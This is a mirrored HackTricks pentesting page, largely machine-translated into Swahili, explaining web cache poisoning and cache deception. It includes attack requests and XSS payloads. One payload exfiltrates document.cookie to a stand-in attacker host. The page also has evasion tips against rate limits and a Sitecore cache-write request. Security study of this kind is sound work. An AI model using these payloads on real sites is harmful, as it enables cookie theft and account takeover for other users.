mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00

Translator efa111760f Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

2025-09-26 01:12:32 +00:00

21 KiB

Raw Blame History

Cache Poisoning and Cache Deception

Tofauti

Nini tofauti kati ya web cache poisoning na web cache deception?

Katika web cache poisoning, mshambuliaji husababisha application kuweka baadhi ya maudhui hatarishi kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa application.

Katika web cache deception, mshambuliaji husababisha application kuweka baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, na kisha mshambuliaji anazipata maudhui haya kutoka kwenye cache.

Cache Poisoning

Cache poisoning inalenga kudanganya client-side cache ili kulazimisha clients kupakia rasilimali zisizotarajiwa, zisizokamilika, au zilizo chini ya udhibiti wa mshambuliaji. Uwezo wa madhara unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuka hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

Identification of Unkeyed Inputs: Hivi ni vigezo ambavyo, ingawa hazihitajiki ili ombi lihifadhiwe kwenye cache, vinaweza kubadilisha jibu linalorejeshwa na server. Kutambua viingilio hivi ni muhimu kwani vinaweza kutumika kutengeneza cache.
Exploitation of the Unkeyed Inputs: Baada ya kutambua Unkeyed Inputs, hatua inayofuata ni kubaini jinsi ya kuvitumia vigezo hivi kwa njia inayobadilisha jibu la server kwa manufaa ya mshambuliaji.
Ensuring the Poisoned Response is Cached: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limehifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayefikia ukurasa ulioathiriwa wakati cache imepoisoned atapokea jibu lililopotoshwa.

Discovery: Check HTTP headers

Kwa kawaida, wakati jibu limestored in the cache kutakuwa na header inayoonyesha hivyo; unaweza kuangalia ni header zipi unazopaswa kuzingatia katika chapisho hili: HTTP Cache headers.

Discovery: Caching error codes

Iwapo unadhani jibu linawekwa kwenye cache, unaweza kujaribu kutuma maombi kwa header mbaya, ambazo zinapaswa kujibiwa na status code 400. Kisha jaribu kufikia ombi kwa kawaida na ikiwa jibu ni status code 400, unajua ni dhaifu (na unaweza hata kutekeleza DoS).

You can find more options in:

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Hata hivyo, kumbuka kwamba mara nyingine misimbo ya aina hizi ya status haijihifadhi kwenye cache hivyo jaribio hili linaweza kutokuwa la kuaminika.

Discovery: Identify and evaluate unkeyed inputs

Unaweza kutumia Param Miner kubrute-force parameters and headers ambazo zinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia header X-Forwarded-For kuonyesha client apakie script kutoka pale:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Sababisha jibu hatarishi kutoka kwa back-end server

With the parameter/header identified check how it is being inayosafishwa and wapi ina kuonekana au kuathiri jibu kutoka kwa header. Je, unaweza kuiboresha vibaya (perform an XSS au load JS code unaodhibiti? perform a DoS?...)

Get the response cached

Mara tu unapokuwa umebaini ukurasa unaoweza kutumiwa vibaya, parameter/header gani ya kutumia na jinsi ya kuitumia vibaya, unahitaji kupata ukurasa urehitishwe kwenye cache. Kulingana na rasilimali unayojaribu kuweka kwenye cache hii inaweza kuchukua muda, huenda ukahitaji kujaribu kwa sekunde kadhaa.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

Exploiting Examples

Mfano rahisi

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Kumbuka kwamba hii itapoisina ombi la /en?region=uk si la /en

Cache poisoning kwa DoS

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Cache poisoning through CDNs

In this writeup inaeleza tukio rahisi lifuatayo:

CDN itacache chochote chini ya /share/
CDN HAITA decode wala normalize %2F..%2F, kwa hivyo, inaweza kutumika kama path traversal to access other sensitive locations that will be cached kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
web server ITADECODE na ITANORMALIZE %2F..%2F, na itajibu na /api/auth/session, ambayo contains the auth token.

Cookies pia zinaweza kuonyeshwa kwenye response ya ukurasa. Ikiwa unaweza kuziabusi (abuse) kusababisha XSS kwa mfano, ungeweza ku-exploit XSS katika wateja kadhaa ambao wanapakia malicious cache response.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kumbuka kwamba ikiwa cookie yenye udhaifu inatumiwa sana na watumiaji, maombi ya kawaida yatasababisha cache kusafishwa.

Kutengeneza tofauti kwa delimiters, normalization na dots

Angalia:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Cache poisoning with path traversal to steal API key

Uandishi huu unaelezea jinsi ilivyowezekana kuiba OpenAI API key kwa URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitapigwa cache bila Cloudflare kurekebisha URL, hatua ambayo ilifanyika wakati ombi lilipofika kwenye web server.

Hii pia inaelezewa vizuri zaidi katika:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Kutumia multiple headers ili ku-exploit web cache poisoning vulnerabilities

Wakati mwingine utahitaji exploit several unkeyed inputs ili uweze ku-abuse cache. Kwa mfano, unaweza kupata an Open redirect ikiwa utaweka X-Forwarded-Host kwa domain unayodhibiti na X-Forwarded-Scheme kwa http. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect, unaweza kudhibiti mahali ukurasa utaelekezwa na redirect.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kutumia `Vary`header iliyopunguzwa

Ikiwa umegundua kuwa header ya X-Host inatumiwa kama domain name to load a JS resource lakini header ya Vary katika jibu inaonyesha User-Agent, basi unahitaji kupata njia ya exfiltrate User-Agent ya victim na poison the cache ukitumia user agent hiyo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma GET request ambapo request iko kwenye URL na pia kwenye body. Ikiwa web server inatumia ile kutoka body lakini cache server inakasha ile kutoka URL, yeyote anayetembelea URL hiyo ataitumia parameter kutoka body. Kama vuln aliyogunduliwa na James Kettle kwenye Github website:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Kuna lab ya PortSwigger kuhusu hili: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Kwa mfano, inawezekana kutenganisha parameters kwenye ruby servers kwa kutumia herufi ; badala ya &. Hii inaweza kutumiwa kuweka thamani za parameters zisizo na ufunguo ndani ya zile zilizo na ufunguo na kuzitumia vibaya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kufanya Cache Poisoning attacks by abusing HTTP Request Smuggling.

Upimaji otomatiki wa Web Cache Poisoning

The Web Cache Vulnerability Scanner inaweza kutumika kupima kiotomatiki web cache poisoning. Inasaidia mbinu nyingi tofauti na inaweza kubadilishwa kwa urahisi.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Mfumo huu wa ulimwengu halisi unaunganisha primitive ya reflection inayotokana na header na tabia za CDN/WAF ili kwa uhakika poison the cached HTML inayotolewa kwa watumiaji wengine:

The main HTML reflected an untrusted request header (e.g., User-Agent) into executable context.
The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., .js), while the WAF applied weaker content inspection to GETs for static assets.
Request flow quirks allowed a request to a .js path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.

Practical recipe (observed across a popular CDN/WAF):

From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.
In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):

First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
Immediately after: GET the main page (/).

The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Mfano wa header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
Using an IP from the CDN's own cloud sometimes improves routing consistency.
If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impact:

If session cookies aren’t HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Defenses:

Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
Ensure WAF applies content inspection consistently to .js requests and static paths.
Set HttpOnly (and Secure, SameSite) on session cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Hii inaandika arbitrary HTML chini ya cache key iliyochaguliwa na mshambuliaji, ikiruhusu precise poisoning mara cache keys zinapojulikana.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}

Mifano Yenye Udhaifu

Apache Traffic Server (CVE-2021-27577)

ATS ilipeleka fragment ndani ya URL bila kuifuta na ilitengeneza cache key ikitumia tu host, path and query (ikiepuka fragment). Kwa hivyo request /#/../?r=javascript:alert(1) ilitumwa kwa backend kama /#/../?r=javascript:alert(1) na cache key haikujumuisha payload ndani yake, ilikuwa tu host, path and query.

GitHub CP-DoS

Kutuma thamani mbaya kwenye header ya content-type ilisababisha majibu ya 405 yaliyohifadhiwa kwenye cache. Cache key ilijumuisha cookie, hivyo ilikuwa inawezekana kushambulia tu watumiaji wasiothibitishwa.

GitLab + GCP CP-DoS

GitLab inatumia GCP buckets kuhifadhi static content. GCP Buckets support the header x-http-method-override. Hivyo ilikuwa inawezekana kutuma header x-http-method-override: HEAD na poison the cache into returning an empty response body. Inaweza pia kuunga mkono method PURGE.

Rack Middleware (Ruby on Rails)

Katika applications za Ruby on Rails, Rack middleware mara nyingi hutumika. Kusudi la Rack code ni kuchukua thamani ya x-forwarded-scheme header na kuiweka kama scheme ya request. Wakati header x-forwarded-scheme: http imetumwa, redirect ya 301 kwenda location ileile inatokea, ambayo inaweza kusababisha Denial of Service (DoS) kwa resource hiyo. Zaidi ya hayo, application inaweza kutambua X-forwarded-host header na kuelekeza watumiaji kwenye host iliyobainishwa. Tabia hii inaweza kusababisha ku-loading kwa JavaScript files kutoka kwa server ya mshambuliaji, ikileta hatari ya usalama.

403 and Storage Buckets

Cloudflare hapo awali ilihifadhi (cache) majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa Authorization headers zisizo sahihi kunasababisha majibu ya 403 ambayo yalihifadhiwa kwenye cache. Ingawa Cloudflare imeacha caching majibu ya 403, tabia hii bado inaweza kuwepo kwenye proxy services nyingine.

Injecting Keyed Parameters

Caches mara nyingi hujumuisha specific GET parameters katika cache key. Kwa mfano, Fastly's Varnish cached the size parameter in requests. Hata hivyo, kama version iliyokuwa URL-encoded ya parameter (mfano siz%65) ilitumwa pia na thamani isiyo sahihi, cache key ingejengwa ikitumia parameter sahihi ya size. Lakini backend ingefanya process ya thamani iliyomo kwenye parameter iliyouzwa. URL-encoding ya parameter ya pili ya size ilisababisha kutokujumuishwa kwake na cache lakini kutumika na backend. Kutoa thamani 0 kwa parameter hii ilizalisha cacheable 400 Bad Request error.

User Agent Rules

Baadhi ya developers huzuia requests zenye user-agents zinazolingana na za tools zenye traffic kubwa kama FFUF au Nuclei ili kudhibiti server load. Kwa mshangao, njia hii inaweza kuleta udhaifu kama cache poisoning na DoS.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 inaeleza characters zinazokubaliwa katika header names. Headers zenye characters nje ya range ya tchar zinapaswa kwa dhana kusababisha 400 Bad Request. Katika vitendo, servers hazizingatii standard hii kila mara. Mfano muhimu ni Akamai, ambayo inapitisha headers zenye characters zisizo halali na hufanya cache kwa error yoyote ya 400, mradi tu header cache-control haipo. Mchoro unaoweza kutumika ulitambuliwa ambapo kutuma header yenye character isiyo halali, kama \, kungepelekea cacheable 400 Bad Request error.

Kupata headers mpya

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Lengo la Cache Deception ni kufanya clients waloadi resources ambazo zitatunzwa na cache zikiwa na taarifa zao za siri.

Kwanza tambua kwamba extensions kama .css, .js, .png n.k. kawaida huwa configured kuhifadhiwa katika cache. Kwa hiyo, ikiwa unafikia www.example.com/profile.php/nonexistent.js cache huenda itaweka response kwa sababu inaona .js extension. Lakini, ikiwa application inarudisha (replaying) maudhui ya watumiaji yenye taarifa za siri yaliyohifadhiwa kwenye www.example.com/profile.php, unaweza steal maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

www.example.com/profile.php/.js
www.example.com/profile.php/.css
www.example.com/profile.php/test.js
www.example.com/profile.php/../test.js
www.example.com/profile.php/%2e%2e/test.js
Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
Katika mfano huo, imeelezewa kwamba ikiwa utaweka ukurasa usiokuwepo kama http://www.example.com/home.php/non-existent.css yaliyomo ya http://www.example.com/home.php (na taarifa za siri za mtumiaji) yatarudishwa na cache server itaokoa matokeo hayo.
Kisha, the attacker anaweza kufikia http://www.example.com/home.php/non-existent.css kwenye browser yao mwenyewe na kuangalia taarifa za siri za watumiaji waliotembelea hapo awali.

Kumbuka kwamba cache proxy inapaswa kuwa configured kuhifadhi files based kwenye extension ya file (.css) na sio kulingana na content-type. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na text/html content-type badala ya text/css mime type.

Jifunze hapa kuhusu jinsi ya kufanya Cache Deceptions attacks abusing HTTP Request Smuggling.

Zana za Otomatiki

toxicache: Skana ya Golang ya kutafuta web cache poisoning vulnerabilities katika orodha ya URL na kujaribu injection techniques mbalimbali.

21 KiB Raw Blame History Unescape Escape